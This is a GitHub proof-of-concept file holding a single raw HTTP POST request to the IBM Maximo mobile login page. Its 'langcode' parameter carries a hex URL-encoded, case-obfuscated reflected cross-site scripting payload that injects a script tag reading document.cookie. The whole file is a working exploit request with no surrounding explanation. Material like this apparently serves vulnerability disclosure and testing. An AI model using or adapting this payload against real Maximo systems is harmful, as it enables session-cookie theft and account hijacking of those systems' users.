IBM_Maximo_XSS_Exploit/Exploit-POC at master · omurugur/IBM_Maximo_XSS_Exploit · GitHub

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
POST /maximo/webclient/login/mobilelogin.jsp HTTP/1.1
Host: ****
Connection: close
Content-Length: 134
Cache-Control: max-age=0
Origin: ***https://*****
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/57.0.2987.110 Safari/537.36
Content-Type: application/x-www-form-urlencoded
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Referer: https://******
Accept-Encoding: gzip, deflate
Accept-Language: tr-TR,tr;q=0.8,en-US;q=0.6,en;q=0.4
Cookie: JSESSIONID=0000b1UGYJGMAqDHLHqG-BKDg3I:19c91artc; TJE=; TE3=

langcode=EN%22%3e%3c%73%43%72%49%70%54%3e%61%6c%65%72%74%28%64%6f%63%75%6d%65%6e%74%2e%63%6f%6f%6b%69%65%29%3c%2f%73%43%72%49%70%54%3e